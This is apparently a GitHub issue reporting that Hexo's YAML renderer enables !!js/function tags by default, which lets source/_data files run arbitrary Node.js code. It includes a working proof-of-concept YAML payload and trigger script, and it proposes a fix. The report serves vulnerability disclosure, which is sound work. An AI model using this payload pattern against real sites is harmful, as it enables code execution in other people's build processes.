Skip to content

source/_data YAML can define executable JS via default !!js/function (js-yaml-js-types.all) #5801

Description

@Ahmed-Elmahgob

Check List

  • I have already read Docs page & Troubleshooting page.
  • I have already searched existing issues and they are not help to me.
  • I examined error or warning messages and it's difficult to solve.
  • I am using the latest version of Hexo. (run hexo version to check)
  • My Node.js is matched the required version.

Expected behavior

YAML files under source/_data/ should be parsed as plain data. Default parsing should not construct JavaScript functions from YAML tags.

If !!js/regexp / !!js/undefined are still needed, only those should be enabled — not !!js/function by default.

Actual behavior

Hexo’s YAML renderer enables js-yaml-js-types.all by default:

https://github.com/hexojs/hexo/blob/master/lib/plugins/renderer/yaml.ts

schema = yaml.DEFAULT_SCHEMA.extend(require('js-yaml-js-types').all);

That includes !!js/function. A source/_data/*.yml file can define a real Function (for example on toString). When a theme renders {{ site.data.menu }}, Nunjucks stringifies the object, calls that function, and arbitrary Node.js code runs in the Hexo process.

js-yaml v4 made these tags opt-in; re-enabling .all by default is unexpected for site data files.

How to reproduce?

  1. Create a minimal Hexo site with hexo@8.1.2 and a theme layout containing:
{{ site.data.menu }}
  1. Create source/_data/menu.yml:
toString: !!js/function 'function (){ process.getBuiltinModule("fs").writeFileSync("/tmp/hexo_js_function","1"); return ""; }'
Home: /
  1. Load the site and render that template (same path themes use when printing site.data):
const Hexo = require('hexo');
const nunjucks = require(require.resolve('nunjucks', { paths: [require.resolve('hexo')] }));

(async () => {
  const hexo = new Hexo(process.cwd(), { silent: true });
  await hexo.init();
  await hexo.load();
  const menu = hexo.locals.get('data').menu;
  console.log(typeof menu.toString); // function
  nunjucks.renderString('{{ site.data.menu }}', { site: { data: { menu } } });
})();
  1. Observe that /tmp/hexo_js_function is created with contents 1.

Is the problem still there under Safe mode?

Yes. This comes from Hexo’s built-in YAML renderer (lib/plugins/renderer/yaml.ts), not from a third-party plugin/script. Disabling plugins does not remove this schema extension.

Your Node.js & npm version

node v22.22.0
npm 9.2.0

Your Hexo and Plugin version

hexo@8.1.2

Your package.json

{
  "name": "hexo-yaml-jsfunction-repro",
  "private": true,
  "hexo": {},
  "dependencies": {
    "hexo": "8.1.2"
  }
}

Your site's _config.yml (Optional)

Others

Suggested fix

  • Do not use js-yaml-js-types.all by default.
  • Keep the default safe schema, or extend only regexp / undefined if still required.
  • If !!js/function must remain for compatibility, make it an explicit opt-in (default off).

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions